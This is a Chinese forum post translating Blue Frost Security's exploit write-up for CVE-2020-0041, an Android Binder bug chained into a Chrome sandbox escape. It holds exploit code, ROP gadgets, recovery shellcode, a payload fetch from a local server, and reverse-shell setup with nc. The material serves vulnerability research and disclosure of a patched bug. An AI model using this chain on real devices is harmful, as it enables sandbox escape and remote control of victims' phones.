首页
论坛
课程
招聘
[翻译]Chrome浏览器沙箱逃逸漏洞利用分析(part1)
2020-4-7 22:45 6593

[翻译]Chrome浏览器沙箱逃逸漏洞利用分析(part1)

2020-4-7 22:45
6593

Binder驱动程序中的漏洞已于2019年12月10日向Google报告,该漏洞已包含在2020年3月的Android安全公告(CVE-2020-0041)中,Binder的漏洞刚开始学习,通过翻译顺便学习分享一下。

 

在这篇文章中,将介绍此漏洞,写了两个漏洞利用方法:Chrome的沙箱逃逸利用CVE-2020-0041,从存在漏洞的渲染器攻击Chrome浏览器进行权限提升,此漏洞会危害内核并从常规的untrusted_app升级到root。

0x01 漏洞根本原因

该漏洞是由计算驱动程序已验证的有效偏移量时的逻辑漏洞引起的,尤其是当Binder驱动程序正在处理transaction时,它会经过多个偏移量,并在每个此类偏移量处验证并转换Binder对象

 

BINDER_TYPE_PTRBINDER_TYPE_FDA类型的对象可以具有父对象,该父对象必须是已验证的对象之一。为了验证这一点,驱动程序使用以下代码

 case BINDER_TYPE_FDA: {
      struct binder_object ptr_object;
      binder_size_t parent_offset;
      struct binder_fd_array_object *fda =
        to_binder_fd_array_object(hdr);
[1]     size_t num_valid = (buffer_offset - off_start_offset) *
            sizeof(binder_size_t);
      struct binder_buffer_object *parent =
        binder_validate_ptr(target_proc, t->buffer,
                &ptr_object, fda->parent,
                off_start_offset,
                &parent_offset,
                num_valid);
      /* ... */

    } break;
    case BINDER_TYPE_PTR: {
      struct binder_buffer_object *bp =
        to_binder_buffer_object(hdr);
      size_t buf_left = sg_buf_end_offset - sg_buf_offset;
      size_t num_valid;

            /* ... */
[2]     if (binder_alloc_copy_user_to_buffer(
            &target_proc->alloc,
            t->buffer,
            sg_buf_offset,
            (const void __user *)
              (uintptr_t)bp->buffer,
            bp->length)) {
        binder_user_error("%d:%d got transaction with invalid offsets ptr\n",
              proc->pid, thread->pid);
        return_error_param = -EFAULT;
        return_error = BR_FAILED_REPLY;
        return_error_line = __LINE__;
        goto err_copy_data_failed;
      }

      /* Fixup buffer pointer to target proc address space */
      bp->buffer = (uintptr_t)
        t->buffer->user_data + sg_buf_offset;
      sg_buf_offset += ALIGN(bp->length, sizeof(u64));

[3]     num_valid = (buffer_offset - off_start_offset) *
          sizeof(binder_size_t);

      ret = binder_fixup_parent(t, thread, bp,
              off_start_offset,
              num_valid,
              last_fixup_obj_off,
              last_fixup_min_off);

[1][3]处的num_valid计算不正确,因为与sizeof(binder_size_t)的乘积应改为除法,由于该漏洞,可以提供越界偏移作为PTR或FDA对象的父对象。

 

有趣的是,此漏洞仅在 transaction的发送路径期间发生,而在清除代码中正确计算了相同的值。

0x02 破坏transaction

即使越界对象存在偏移,但仍可以使用bind_validate_ptr和/或binder_validate_fixup函数验证父对象,然后使用它们,因此,不可能直接提供完全任意的对象。

 

我们可以利用以下事实:在偏移量数组之后是 transaction缓冲区中的额外缓冲区sg_buf,并且当遇到BINDER_TYPE_PTR时,会将这些缓冲区复制到其中(以上代码片段中的[2])。

 

基于此,如果我们在复制相应的sg_buf数据之前使用越界偏移,则该数据将未初始化并从先前执行的 transaction中获取。但是,如果在复制相应的sg_buf之后使用了越界偏移量,则将从新复制的数据中获取偏移量。

 

这与Synacktiv确定的方法完全相同,您可以在他们的博客文章幻灯片中找到描述。

 

然后,我们的漏洞利用程序执行以下步骤来触发这种情况:

  1. 将伪造的BINDER_TYPE_PTR对象添加到 transaction中,偏移量为fake_offset

  2. legit_offset处添加了合法的偏移量BINDER_TYPE_PTR对象。

  3. 添加了一个BINDER_TYPE_PTR对象,其父对象设置为越界偏移。通过发送初始 transaction,我们将出站偏移量预先初始化为legit_offset值。

    驱动程序现在具有经过验证的对象,该对象具有超出范围的父偏移量,这也意味着超出范围的父偏移量将成为隐式信任。

  4. 添加第二个BINDER_TYPE_PTR对象,并具有相同的越界父级偏移量。但是,这次我们也向该对象添加了一个缓冲区。然后,位于[2]处的副本会将越界偏移量设置为fake_offset

    由于在步骤3中处理了对象之后,隐式信任了越界偏移,因此驱动程序现在信任伪造的BINDER_TYPE_PTR

在此阶段,驱动程序尝试使用指向已复制到其中的sg_buf数据的指针来修复父缓冲区。

 

binder_fixup_parent完成:

parent = binder_validate_ptr(target_proc, b, &object, bp->parent,
             off_start_offset, &parent_offset,
             num_valid);
  if (!parent) {
    binder_user_error("%d:%d got transaction with invalid parent offset or type\n",
          proc->pid, thread->pid);
    return -EINVAL;
  }

  if (!binder_validate_fixup(target_proc, b, off_start_offset,
           parent_offset, bp->parent_offset,
           last_fixup_obj_off,
           last_fixup_min_off)) {
    binder_user_error("%d:%d got transaction with out-of-order buffer fixup\n",
          proc->pid, thread->pid);
    return -EINVAL;
  }

  if (parent->length < sizeof(binder_uintptr_t) ||
      bp->parent_offset > parent->length - sizeof(binder_uintptr_t)) {
    /* No space for a pointer here! */
    binder_user_error("%d:%d got transaction with invalid parent offset\n",
          proc->pid, thread->pid);
    return -EINVAL;
  }
[1] buffer_offset = bp->parent_offset +
      (uintptr_t)parent->buffer - (uintptr_t)b->user_data;
[2] binder_alloc_copy_to_buffer(&target_proc->alloc, b, buffer_offset,
            &bp->buffer, sizeof(bp->buffer));

last_fixup_obj_off此处是指在步骤3中验证的对象,并且由于已被验证,因此其父偏移也被隐式信任。因此,binder_validate_fixup调用成功。

 

但是,在处理后一个BINDER_TYPE_PTR对象时,parent_offset的内容已被修改,现在指向具有完全受控内容的伪对象(上面的代码段中的parent)。

 

因此,我们可以在[1]提供一个任意的buffer_offset,然后将其用于复制[2]处的sg_buf的地址。

 

但是请注意,为了使复制成功,我们需要知道b-> user_data的值,更糟糕的是,在Pixel设备当前随附的代码中,如果漏洞,则会触发以下BUG_ON,这将导致内核崩溃:

static void binder_alloc_do_buffer_copy(struct binder_alloc *alloc,
          bool to_buffer,
          struct binder_buffer *buffer,
          binder_size_t buffer_offset,
          void *ptr,
          size_t bytes)
{
  /* All copies must be 32-bit aligned and 32-bit size */
  BUG_ON(!check_buffer(alloc, buffer, buffer_offset, bytes));

b-> user_data是绑定程序缓冲区的地址,在接收方的地址空间中将 transaction复制到其中。

 

如果我们能够将 transaction发送到自己的流程中,则此值就无效了,这是可能的,但是需要使用一些技巧(我们将在以后的文章中讨论这些技巧之一)。此外,对于当前发布的Chrome浏览器,此映射在渲染器和浏览器进程中位于相同的地址。

 

还要注意,在最后一步中,可以使用BINDER_TYPE_FDA对象代替BINDER_TYPE_PTR对象。在那种情况下,驱动程序将处理 transaction的任意部分作为文件描述符,将它们发送给接收者并替换文件描述符号。

 

这也可以用于破坏任意双字,例如经过验证的对象偏移量。如果需要,这将允许将完全任意的对象注入 transaction中。

0x03 可用原语

使用我们的内存损坏原语,我们可以覆盖已经验证的Binder transaction的部分。由于这些值对内核以外的模块都是只读的,因此系统的其余部分信任它们,我们可以在两个阶段使用这些值作为攻击目标:

  1. 收到损坏的 transaction后,它将由用户空间组件处理。这包括libbinder(或libhwbinder如果使用的/ dev / hwbinder)以及上层。
  2. 使用 transaction缓冲区完成用户空间时,它要求驱动程序使用BC_FREE_BUFFER命令释放它。这导致驱动程序会处理损坏的 transaction缓冲区。

在这篇文章中,我们将集中讨论针对用户空间组件时可以做什么,在后续文章中,我们将讨论针对内核清理代码。

 

可以从libbinder中的Parcel.cpp中找到负责从Binder transaction中解组数据和对象的代码。

 

从 transaction中读取对象时,将执行以下代码:

status_t unflatten_binder(const sp<ProcessState>& proc,
    const Parcel& in, sp<IBinder>* out)
{
    const flat_binder_object* flat = in.readObject(false);

    if (flat) {
        switch (flat->hdr.type) {
            case BINDER_TYPE_BINDER:
                *out = reinterpret_cast<IBinder*>(flat->cookie);
                return finish_unflatten_binder(nullptr, *flat, in);
    ...

从那里我们了解到,如果我们破坏BINDER_TYPE_BINDER对象的cookie字段,最终将控制sp <IBinder \>指针。

 

为了了解可以从Chrome沙箱访问的内容,我们可以看一下可以从服务管理器或也可以访问的句柄访问的服务。对于前者,我们可以看一下SELinux策略

 

https://android.googlesource.com/platform/system/sepolicy/+/refs/tags/android-10.0.0_r31/private/isolated_app.te#97

  allow isolated_app activity_service:service_manager find;
    allow isolated_app display_service:service_manager find;
    allow isolated_app webviewupdate_service:service_manager find;
    ...
    neverallow isolated_app {
    service_manager_type
        -activity_service
        -ashmem_device_service
        -display_service
        -webviewupdate_service
    }:service_manager find;

这意味着我们可以向服务管理器询问活动管理器,显示服务,WebView更新服务和Ashmem服务的句柄。我们可以看到,所有这些进程都是64位,而我们处于32位进程中。因此,除非从这些进程中额外泄漏出来,否则很难触发漏洞。

 

因此,我们转向了常规Chrome渲染器过程可用的Binder句柄,为了识别它们,我们使用了以下C代码,它们从AOSP服务管理器代码中借鉴了实用程序功能:

/*
 * @bs must be a binder_state constructed from the already initialized binder fd in order
 * to identify what interfaces are available to the renderer process.
 */
void check_available_interfaces(struct binder_state *bs) {
  char txn_data[0x1000];
  char reply_data[0x1000];
  struct binder_io msg;
  struct binder_io reply;

  /* Iterate for a maximum of 100 handles */
  for(int handle=1; handle <= 100; handle++) {
    bio_init(&msg, txn_data, sizeof(txn_data), 10);
    bio_init(&reply, reply_data, sizeof(reply_data), 10);

    /* Retrieve handle interface */
    int ret = binder_call(bs, &msg, &reply, handle, INTERFACE_TRANSACTION);

    /* Check against wanted interface */
    if (!ret) {
      size_t sz = 0;

      char string[1000] = {0};
      uint16_t *str16 = bio_get_string16(&reply, &sz);
      if (sz != 0 && sz < sizeof(string)-1) {
        /* Convert to regular string */
        for (uint32_t x=0 ; x < sz; x++)
            string[x] = (char)str16[x];

        __android_log_print(ANDROID_LOG_DEBUG, "PWN", "Interface for handle %d -> %s", handle, string);
      }
    }
  }
}

将此代码注入Android 10系统上的渲染器进程,将提供以下输出:

 10-25 17:03:14.392  9764  9793 D PWN     : Interface for handle 1 -> android.app.IActivityManager
    10-25 17:03:14.392  9764  9793 D PWN     : Interface for handle 2 -> android.content.pm.IPackageManager
    10-25 17:03:14.392  9764  9793 D PWN     : Interface for handle 4 -> android.hardware.display.IDisplayManager
    10-25 17:03:14.393  9764  9793 D PWN     : Interface for handle 5 -> org.chromium.base.process_launcher.IParentProcess
    10-25 17:03:14.394  9764  9793 D PWN     : Interface for handle 6 -> android.ashmemd.IAshmemDeviceService

所有这些句柄都属于64位服务进程,但属于Chrome浏览器的IParentProcess除外。对我们来说幸运的是,此过程还在当前的Chrome版本中以32位模式运行,因此我们可以将其定位为目标。

 

但是,看一下接口定义会有些令人沮丧:

// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

package org.chromium.base.process_launcher;

interface IParentProcess {
    // Sends the child pid to the parent process. This will be called before any
    // third-party code is loaded, and will be a no-op after the first call.
    oneway void sendPid(int pid);

    // Tells the parent proces the child exited cleanly. Not oneway to ensure
    // the browser receives the message before child exits.
    void reportCleanExit();
}

这些调用对于我们的目的而言不是很有趣,因为没有对象被传递。但是,如果我们更深入地了解如何实现Binder对象,则可以在BBinder类中找到所有对象都源自的问题的解决方案:

status_t BBinder::onTransact(
    uint32_t code, const Parcel& data, Parcel* reply, uint32_t /*flags*/)
{
    switch (code) {
        /* ... */
        case SHELL_COMMAND_TRANSACTION: {
            int in = data.readFileDescriptor();
            int out = data.readFileDescriptor();
            int err = data.readFileDescriptor();
            int argc = data.readInt32();
            Vector<String16> args;
            for (int i = 0; i < argc && data.dataAvail() > 0; i++) {
               args.add(data.readString16());
            }
            sp<IShellCallback> shellCallback = IShellCallback::asInterface(
                    data.readStrongBinder());
            sp<IResultReceiver> resultReceiver = IResultReceiver::asInterface(
                    data.readStrongBinder());

            // XXX can't add virtuals until binaries are updated.
            //return shellCommand(in, out, err, args, resultReceiver);
            (void)in;
            (void)out;
            (void)err;

            if (resultReceiver != nullptr) {
                resultReceiver->send(INVALID_OPERATION);
            }

            return NO_ERROR;
        }

        /* ... */
    }
}

因此,在上面的IResultReceiver对象中,如果我们用bug 覆盖了它的cookie字段,它将指向受控数据。为了可靠地执行此操作,漏洞利用程序执行以下步骤:

  1. 查找自己的Binder映射和打开的Binder文件描述符。然后使用这些来确定我们可以发送给broker最大size的transaction。
  2. 计算user_address作为binder_mapping + MAPPING_SIZE - transaction_size。假定检索到的最大 transaction大小对应于浏览器进程的Binder映射结束时的可用空间,这是接收到的 transaction缓冲区将开始的地址。
  3. 发送 transaction以预初始化一个超出范围的值,该值将在触发漏洞时用作偏移量。
  4. 触发漏洞时发送SHELL_COMMAND_TRANSACTION,这需要向 transaction中添加一些对象,以达到readStrongBinder调用:
    • 三个文件描述符对象
    • 参数计数为零(因此无需添加任何字符串)
    • null binde为IShellCallback
    • IParentProcess句柄,该驱动程序将转换为对象。在此处提供浏览器进程拥有的句柄至关重要,因为否则驱动程序会将其转换为句柄,而不是实际对象。
    • 伪PTR对象,未添加到 transaction中,将在触发漏洞后使用。
    • 合法的PTR对象。步骤3中的预初始化偏移量应与该对象在 transaction缓冲区中的偏移量匹配。
    • 第二个PTR对象,其父字段超出范围,并指向上面添加的预初始化偏移量。我们在这里使用NULL缓冲区,以便不执行任何复制,但将越界父级视为有效。
    • 具有相同父项的附加PTR,但这次具有缓冲区。此缓冲区将替换越界偏移,使其现在指向伪PTR对象,而不是经过验证的对象。此外,父修复程序代码现在将写入一个指向缓冲区起始位置的任意偏移的指针,我们将使用该指针来修改IParentProcess节点的绑定器字段。
    • 带有新缓冲区的最终PTR。缓冲区将被复制,并且其地址将由父修补程序代码写入cookie字段。这意味着我们刚刚发送的缓冲区现在将被接收代码解释为IResultReceiver对象。

我们向 transaction中添加了上面显示的BBinder类实际上未解析的其他对象,这不是问题,因为libbinder代码只是忽略了可能添加到 transaction中的其他对象,只要所需对象按预期顺序存在即可。

 

因此,通过此设置,我们最终得到一个Binder对象,该对象指向Binder映射内部的受控数据。

0x04 从伪造对象到Shellcode执行

伪对象被强制转换为IResultReceiver对象,最终导致代码被执行,我们需要确保的第一件事是代码可以在对象上获得引用。

 

特别是,RefBase对象用于引用计数。该对象的地址是从缓冲区的第一个双字中提取的,接下来,从RefBase实例获得一个指针,并且引用计数增加:

int __fastcall android::RefBase::incStrong(android::RefBase *this, const void *a2)
{

  result = *((_DWORD *)this + 1);               // [1]
  v3 = (unsigned int *)(result + 4);
  do
    v4 = __ldrex(v3);
  while ( __strex(v4 + 1, v3) );
  do
    v5 = __ldrex((unsigned int *)result);
  while ( __strex(v5 + 1, (unsigned int *)result) );
  if ( v5 == 0x10000000 )
  {
    do
      v6 = __ldrex((unsigned int *)result);
    while ( __strex(v6 - 0x10000000, (unsigned int *)result) );
    result = (*(int (__fastcall **)(_DWORD))(**(_DWORD **)(result + 8) + 8))(*(_DWORD *)(result + 8)); // [2]
  }
  return result;
}

[1]处取消引用的指针必须指向可写地址,并且其内容不得为特殊值0x10000000以避免在[2]处进行调用。

 

第一部分是有问题的,因为我们的伪造对象位于一个绑定器映射中,该映射对于userland始终是只读的。在我们的利用中,我们将此指针设置为libc数据段中的临时缓冲区,之所以可以这样做,是因为我们已经假设目标进程映射与我们自己的映射非常相似,因此我们可以简单地获取自己的libc地址。

 

一旦通过了incStrong调用,代码便会一直到以下间接调用:

int __fastcall android::javaObjectForIBinder(int a1, android **myobj)
{

  if ( !*myobj )
    return 0;
  if ( (*(int (__fastcall **)(android *, int *))(*(_DWORD *)*myobj + 32))(*myobj, &dword_153848) )
    return *((_DWORD *)*myobj + 4);

myobj的值在这里与假对象的值匹配,因此我们最终从假对象调用函数指针,并将假对象地址作为第一个参数传递。

 

]因此,通过以下代码,我们可以获得代码执行:

/*
 * We use the address of the __sF symbol as temporary storage. From the source code,
 * this symbol appears to be unused in the current bionic library.
 */

uint32_t utmp = (uint32_t)dlsym(handle, "__sF");
DO_LOG("[*] Temporary storage: %x\n", utmp);

...

DO_LOG("[*] fake_object_addr: %x\n", fake_object_addr);

uint64_t offset_ref_base = 0xd0;
fake_object[0] = fake_object_addr + offset_ref_base*sizeof(uint32_t) + 12;

...

/*
 * This is a fake RefBase class, with a pointer to a writable area in libc.
 * We need this because our object is located in the binder mapping and cannot
 * be written to from usermode.
 *
 * The RefBase code will try to increment a refcount before we get control, so
 * pointing it to an empty buffer is fine. The only thing we need to take care of
 * is preventing it from being the special `initial value` of strong ref counts,
 * because in this case the code will also do a virtual functionc all through this
 * fake object.
 */

fake_object[offset_ref_base] = (offset_ref_base + 1)*sizeof(uint32_t); /* This is used as an offset from the base object*/
fake_object[offset_ref_base+1] = 0xdeadbeef;                           /* Unused */
fake_object[offset_ref_base+2] = (uint32_t)utmp;                       /* Writable address in libc */


/* Here comes the PC control. We point it to a stack pivot, and r0
 * points to the beginning of our object (i.e to &fake_object[0]).
 */

fake_object[offset_ref_base +11] = gadgets[STACK_PIVOT].address;

utmp此处是libc中似乎已被使用的缓冲区的地址,它是可写映射的一部分。由于libc在渲染器进程和浏览器进程上的地址是相同的,因此我们可以在我们自己的进程中对其进行解析。同样,我们根据自己的流程来解析所有ROPgadget。

 

另外,由于绑定程序映射地址在两个进程中也相同,因此我们可以使用它来计算目标进程中我们自己的数据的地址。

 

由于还会将假对象作为第一个参数传递,因此我们使用ldm r0 !, {r2,r5,ip,sp,lr,pc})gadget将堆栈旋转到R0 并从对象的开头启动ROP链。

 

最终设置如下所示:

 

img

 

但是,由于映射是只读的,因此无法调用使用堆栈的函数。因此,我们的ROP链执行以下步骤:

  1. 使用gadget将r7保存到utmp缓冲区中。当我们的ROP链开始执行时,r7包含一个指向堆栈的指针,因此这允许我们稍后将堆栈设置回一个好的值。为此,我们使用以下gadget:str r7, [r0] ; mov r0, r4 ; add sp, #0xc ; pop {r4, r5, r6, r7, pc}。
  2. 使用mmap在固定地址上分配RWX页面。为此,我们使用来自libc系统调用包装程序的以下代码:svc 0 ; pop {r4-r7} ; cmn r0, #0x1000, bxlr lr
  3. 使用一些ROPgadget将第一阶段的shellcode复制到RWX内存中。特别是,我们使用str r1,[r0]; mov r0,lr; 从堆栈中弹出这些寄存器后,弹出{r7,pc}将r1写入r0指向的地址。
  4. 将堆栈转入RWX内存,对复制的shellcode 调用cacheflush并跳转过去。我们使用pop {lr,pc}gadget准备cacheflush的返回地址,并使用pop {r0,r1,ip,sp,pc}gadget转入堆栈并调用cacheflush。

一旦cacheflush返回,我们就会执行shellcode和正确的读/写堆栈。为了减小ROP链的大小,我们使用一个小的初始shellcode,该代码使用memcpy将下一阶段复制到RWX内存中,然后再次调用cacheflush并最终跳转到它。

 

现在,我们可以不受限制地执行Shellcode了,我们可以执行漏洞利用程序所需的任何操作,然后修复Chrome进程。

0x05 继续分析

为了实现流程的继续,我们的主要shellcode发送回127.0.0.1:6666并检索一个共享库。共享库存储为/data/data/<package_name>/test.so,并使用__loader_dlopen加载。

 

__loader_dlopen符号目前由注入渲染器的代码启发式解决。

 

加载共享对象后,shellcode将恢复浏览器进程状态。

 

为此,我们使用较高的堆栈帧之一,该堆栈帧可从堆栈中还原大多数寄存器,们使用由art_quick_invoke_stub存储在libart.so中的寄存器的副本:

.text:0042F7AA                 POP.W           {R4-R11,PC}
.text:0042F7AE ; ---------------------------------------------------------------------------
.text:0042F7AE
.text:0042F7AE loc_42F7AE                              ; CODE XREF: art_quick_invoke_stub+106↑j
.text:0042F7AE                 BLX             __stack_chk_fail
.text:0042F7AE ; End of function art_quick_invoke_stub
.text:0042F7AE

渲染器代码解析ArtMethod :: Invoke程序集代码,并找到art_quick_invoke_stub调用的返回地址。然后,shellcode在堆栈中查找以找到相应的堆栈帧,并在返回之前恢复所有寄存器。

 

但是,仅返回那里会导致Art VM随后崩溃。

 

为了解决这个问题,我们分析了崩溃的位置。我们观察到的崩溃与垃圾回收相关,并在以下代码内发生:

void Thread::HandleScopeVisitRoots(RootVisitor* visitor, pid_t thread_id) {
  BufferedRootVisitor<kDefaultBufferedRootCount> buffered_visitor(
      visitor, RootInfo(kRootNativeStack, thread_id));
  for (BaseHandleScope* cur = tlsPtr_.top_handle_scope; cur; cur = cur->GetLink()) {
    cur->VisitRoots(buffered_visitor);
  }
}

汇编代码如下:

PUSH.W          {R4-R11,LR}
SUB.W           SP, SP, #0x418
SUB             SP, SP, #4
MOV             R5, R1
LDR             R1, =(__stack_chk_guard_ptr - 0x3AE4A6)
ADD             R1, PC  ; __stack_chk_guard_ptr
LDR.W           R10, [R1] ; __stack_chk_guard
LDR.W           R1, [R10]
LDR             R3, =(_ZTVN3art8RootInfoE - 0x3AE4B8) ; `vtable for'art::RootInfo
STR.W           R1, [SP,#0x440+var_28]
MOVS            R1, #4
ADD             R3, PC  ; `vtable for'art::RootInfo
STR             R1, [SP,#0x440+var_434]
ADD.W           R1, R3, #8
STR             R2, [SP,#0x440+var_430]
MOVS            R2, #0
STR.W           R2, [SP,#0x440+var_2C]
STRD.W          R5, R1, [SP,#0x440+var_43C]
LDR.W           R7, [R0,#0xDC]           ; [1]
CMP             R7, #0
BEQ             loc_3AE582

[1]处,我们检查Thread对象的偏移量0xDC是否为null,在我们返回的位置,r6指向当前的Thread 对象。

 

因此,我们的shellcode 从还原的寄存器中获取当前的Thread 值,并在继续操作之前清除此字段。

 

shellcode的最终恢复部分如下所示:

return:
# Get and fix sp up. Point to stack frame containing r4-r10 and pc.
  ldr r3, smem
  ldr sp, [r3]
  ldr r3, retoff

search:
  # Load 'lr' if there 
  ldr r0, [sp, #0x20] 
  cmp r0, r3
  addne sp, sp, #4
  bne search

done: 
# Pop all registers
  pop {r4-r11, lr}

# Clear thread top_handle_scope
  mov r0, #0
  str r0, [r6, #0xdc]

  bx lr

这样,在加载共享对象后,浏览器进程将继续执行,共享对象因此可以执行任何其他操作,例如启动后台线程或启动反向shell。

0x06 漏洞演示

以下视频演示了在Pixel 3上攻击Chrome浏览器的过程。在左上角,可以看到目标设备上的root shell,我们将其用于将利用漏洞注入渲染器进程。在左下角,可以通过logcat看到我们漏洞利用的输出。

 

在右侧,将看到目标设备的显示屏,其中显示了目标设置并启动Chrome,启动Chrome之后,我们使用root shell注入shellcode,立即在屏幕的左上角收到一个反向shell。

 

该shell程序在浏览器进程的上下文中运行,因此逃逸了沙箱保护。

 

 

0x07 复现步骤

要测试漏洞利用,先build提供的Android branch,该漏洞利用通过以下参数build:

target_os = "android"
target_cpu = "arm"
is_debug = false
is_official_build=true

初步build成功后,应用在sandbox/v8.diffv8代码,并切换main.diff到主存储库:

user@laptop:~/work/chromium_release/chromium/src$ patch -p1 < ~/num_valid/sandbox/main.diff 
patching file content/renderer/binder.c
patching file content/renderer/binder.h
patching file content/renderer/binder_lookup.h
patching file content/renderer/constants.h
patching file content/renderer/exploit.c
patching file content/renderer/render_thread_impl.cc
patching file content/renderer/rop.h
patching file content/renderer/sc.h
patching file content/renderer/uapi_binder.h

user@laptop:~/chromium/src$ cd v8
user@laptop:~/chromium/src/v8$ patch -p1 < ~/num_valid/sandbox/v8.diff 
patching file src/builtins/builtins-typed-array.cc

这些修补程序会在indexOf类型化数组缓冲区的函数中创建一个Hook,当使用3个或更多参数调用该Hook时,会将exploit执行重定向到函数content/renderer/exploit.c

 

应用补丁后,重建Chromium并安装生成的APK。

user@laptop:~/work/chromium_release/chromium/src$ ninja -C out/Default chrome_public_apk -j 8 && \
out/Default/bin/chrome_public_apk uninstall && out/Default/bin/chrome_public_apk install

build并将其安装在手机上之后,需要进行以下设置:

 

build要加载的库,然后从sandbox/文件夹运行serve.py脚本。该脚本将提供payload.so要由shellcode加载的文件。此外,如果文件请求它们,则它还会提供payload.dexpayload.exe文件,payload.so用于LPE利用:

$ cd reverse_shell && make && cp libs / armeabi-v7a / libpayload.so ../payload.so && cd .. $ adb reverse tcp:6666 tcp:6666; python ./serve.py

在tcp:5555上设置反向Shell侦听:

$ adb reverse tcp:5555 tcp:5555 ; nc -l -p 5555 -vv

使用python服务访问sandbox/index.html以触发漏洞利用。

$ adb reverse tcp:8080 tcp:8080 ; python -m SimpleHTTPServer 8080

现在,只需导航到http:// localhost:8080 /即可触发漏洞利用。

$ adb reverse tcp:5555 tcp:5555 ; nc -l -p 5555 -vv
5555
Listening on [0.0.0.0] (family 0, port 5555)
Connection from localhost 36871 received!
id
uid=10246(u0_a246) gid=10246(u0_a246) groups=10246(u0_a246),3001(net_bt_admin),3002(net_bt),3003(inet),9997(everybody),20246(u0_a246_cache),50246(all_a246) context=u:r:untrusted_app_27:s0:c246,c256,c512,c768

该漏洞利用还会在logcat中使用PWN标签生成调试输出。要查看它,只需运行adb logcat | grep PWN,产生类似于以下内容的输出:

11-04 16:33:08.269 31606 31634 D PWN     : [*] Binder mapping at 0xc97eb000
11-04 16:33:08.269 31606 31634 D PWN     : [*] Found binder fd 9
11-04 16:33:08.272 31606 31634 D PWN     : [*] IParentProcess handle is 5
11-04 16:33:08.275 31606 31634 D PWN     : [*] Transaction size max fdeb8
11-04 16:33:08.275 31606 31634 D PWN     : [*] Target user_address: c97eb148
11-04 16:33:08.276 31606 31634 D PWN     : [*] Target binder offset: 64
11-04 16:33:08.276 31606 31634 D PWN     : [*] Fake PTR offset: 7c
11-04 16:33:08.276 31606 31634 D PWN     : [*] Valid PTR offset: a4
11-04 16:33:08.276 31606 31634 D PWN     : [*] Shellcode size: 0x160
11-04 16:33:08.286 31606 31634 D PWN     : [*] libc: 0xf1585000 , libc size: 0xb6000
11-04 16:33:08.289 31606 31634 D PWN     : [*] Found gadget 0 at 0xf163024c
11-04 16:33:08.290 31606 31634 D PWN     : [*] Found gadget 1 at 0xf15dfcdc
11-04 16:33:08.291 31606 31634 D PWN     : [*] Found gadget 2 at 0xf15ce0a9
11-04 16:33:08.292 31606 31634 D PWN     : [*] Found gadget 3 at 0xf15e8c6f
11-04 16:33:08.293 31606 31634 D PWN     : [*] Found gadget 4 at 0xf15ee10d
11-04 16:33:08.293 31606 31634 D PWN     : [*] Found gadget 5 at 0xf15ae24d
11-04 16:33:08.295 31606 31634 D PWN     : [*] Found gadget 6 at 0xf160ebfc
11-04 16:33:08.297 31606 31634 D PWN     : [*] Found gadget 7 at 0xf1619335
11-04 16:33:08.297 31606 31634 D PWN     : [*] Found gadget 8 at 0xf15d38df
11-04 16:33:08.298 31606 31634 D PWN     : [*] Found gadget 9 at 0xf15bb2b8
11-04 16:33:08.299 31606 31634 D PWN     : [*] Found gadget 10 at 0xf15e4774
11-04 16:33:08.300 31606 31634 D PWN     : [*] Found gadget 11 at 0xf15dfbb8
11-04 16:33:08.302 31606 31634 D PWN     : [*] Handle: 0xec965cd8, open: 0xf15eb281
11-04 16:33:08.311 31606 31634 D PWN     : [*] Linker mapping at 0xf39d6000, size b9000
11-04 16:33:08.311 31606 31634 D PWN     : [*] Found linker dlopen: 0xf39f30b9
11-04 16:33:08.311 31606 31634 D PWN     : [*] fake_object_addr: c97eb2e8
11-04 16:33:08.311 31606 31634 D PWN     : [*] Register scratch space: f163b6e8
11-04 16:33:08.311 31606 31634 D PWN     : [*] Final shellcode expected at c97eb658
11-04 16:33:08.311 31606 31634 D PWN     : [*] Final shellcode location 30309000
11-04 16:33:08.311 31606 31634 D PWN     : [*] Shellcode copy at 30308800
11-04 16:33:08.337 31606 31634 D PWN     : [*] transaction return code: 0

可以在Blue Frost Security GitHub中找到完整漏洞利用代码,我们提供此代码作为Chromium 78.0.3904.62的一组漏洞演示。

 

https://github.com/bluefrostsecurity/CVE-2020-0041/

 

在下一篇文章中,我们将讨论如何攻击内核执行的处理过程,以便使用此相同的bug实现将特权提升到root的权限。

 

原文地址:https://labs.bluefrostsecurity.de/blog/2020/03/31/cve-2020-0041-part-1-sandbox-escape/


2022 KCTF春季赛【最佳人气奖】火热评选中!快来投票吧~

最后于 2020-4-7 22:48 被0xbird编辑 ,原因: 格式排版
收藏
点赞2
打赏
分享
最新回复 (4)
雪    币: 9468
活跃值: 活跃值 (9054)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2 2020-4-7 23:48
2
0
mark,楼主辛苦了
雪    币: 70
活跃值: 活跃值 (637)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hixhi 活跃值 2020-4-8 08:59
3
0
谢谢楼主分享了。
雪    币: 7679
活跃值: 活跃值 (731)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
jltxgcy 活跃值 2 2020-4-12 20:26
4
0
期待翻译part2。
雪    币: 7679
活跃值: 活跃值 (731)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
jltxgcy 活跃值 2 2020-4-14 17:57
5
0
楼主,请问如何生成用于注入的sc.bin?
游客
登录 | 注册 方可回帖
返回